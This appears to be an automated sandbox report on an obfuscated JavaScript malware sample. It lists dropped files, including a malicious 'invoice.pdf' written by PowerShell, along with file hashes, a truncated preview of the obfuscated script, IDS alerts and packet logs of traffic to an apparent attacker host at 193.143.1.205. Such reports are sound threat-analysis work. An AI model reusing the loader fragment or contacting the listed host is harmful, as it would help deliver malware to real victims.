Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bac56a61-e7f2-41a5-9e93-64ab2f8e873a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16536), with CRLF line terminators
Entropy (8bit):	4.912841311305608
TrID:
File name:	17772451271118687.js
File size:	20'100 bytes
MD5:	907c39ff056169ed6b5eaec372cf4acb
SHA1:	4f1ae41482111c7b97f709e01422a95bbcf08468
SHA256:	7c0781c4dac24e20079d13f62880a2f2c08eb3bf5a833ad55db4b3356df99fb2
SHA512:	0aa168f01fef8a7209249a92795017a3e55c81c84532edf99222b2cacfe5d1b0ecdabc26ff81bc506bd446f1e0186dc9c67002da5d89be29a4854eccbe6fe13b
SSDEEP:	192:JtMjkxTXtApR5cQakqv//VnBb261sq4mfmzsph7EjB4q1eMaITCqFegkOn7O:70+TXDHkO/Vz1Szohq1lfS
TLSH:	6892A948DC15CEDF5EF821705BF700AB6974818616957DB48943E0590CA0FBAEBF4E3A
File Content Preview:	function lamipbrjb(){teant=[1031,3079,5127,4103,2055,3072];var bfpceowvi=this[igxpfix+exutozc+zxshmzjz+jkkvbgnom+wehegp+kqgnbw+vroamycbe+rxvmqmja](this[qkurt+lrpgl+pcqlf+zxshmzjz+hdypzjn+igxpfix+rxvmqmja][qtzqjhlpk+zxshmzjz+wehegp+exutozc+rxvmqmja+wehegp+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:35:06.861328+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T14:35:09.634092+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:35:06.064018011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.068952084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.069031954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.071532011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.076366901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.860563040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.861268044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.861279964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.861290932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.861304998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.861327887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.861397982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.862093925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.862107038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.862119913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.862131119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.862140894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.862142086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.862155914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.862189054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.866982937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.900716066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.900795937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.900872946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.946604967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.975833893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.975927114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.975981951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.975980997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.976306915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.976320028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.976330996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.976392031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.976946115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.977190018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.977200985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.977266073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.977652073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.977664948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.977675915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.977721930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.977722883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.978291035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.978303909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.978315115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.978338957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.980555058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.980570078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.980581999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.980592012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.980603933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.980607986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.980643988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.985734940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.985840082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.985876083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.985898018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:06.986167908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:06.986265898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.021684885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.021697998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.021761894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.066035032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.066051960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.066267967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.098259926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098567009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098578930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098617077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.098707914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098718882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098731995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098742962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098751068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.098753929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.098803043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.099733114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.099749088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.099792957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.100004911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100018978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100033045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100054026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.100692987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100707054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100719929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100729942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.100733995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.100753069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.101510048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.101526022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.101569891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.101963997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.101977110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.101988077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.102005005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.102015018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.102653980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.102669001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.102682114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.102705956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.103399038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.103415012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.103441000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.103521109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.103534937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.103563070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.105617046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.105633974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.105647087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.105670929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.105690002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.106370926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.106384993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.106396914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.106416941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.107219934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.107234955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.107244968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.107258081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.107268095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.107300043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.108186007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108201981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108213902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108227968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.108253002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.108803034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108818054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108829021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108834982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.108877897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.151653051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.151777029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.151787043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.151822090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.152046919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.152089119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.152175903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.152188063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.152230978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.183332920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.183351040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.183430910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.216655970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.216675997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.216689110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.216732979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.217247963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217262030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217291117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.217339039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217350960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217377901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.217753887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217796087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.217941999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217957020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.217983007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.218938112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.218954086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.218966007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.218977928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.219007969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.219033957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.219371080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.219386101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.219397068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.219424009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.220139980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.220158100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.220169067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.220185041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.220206022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.220941067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.220956087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.220968008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.220980883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.221031904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.222347021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.222362041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.222374916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.222434998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.223042965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223057032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223067999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223092079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.223115921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.223752975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223767042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223778009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223789930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.223820925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.223839998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.224330902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.224344969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.224356890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.224380016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.225080013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225094080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225136042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.225248098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225280046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.225644112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225656986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225668907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225680113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.225696087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.225717068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.226195097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.226207972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.226218939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.226232052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.226243019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.226248980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.226264954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.227108002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.227121115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.227132082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.227143049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.227145910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.227163076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.228028059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228070974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.228075027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228086948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228100061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228132010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.228895903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228909969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228919983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228933096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.228939056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228950977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.228959084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.228986979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.229861021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.229875088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.229887009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.229897976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.229923010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.229938984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.230479002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.230492115 CET	80	49704	193.143.1.205	192.168.2.5
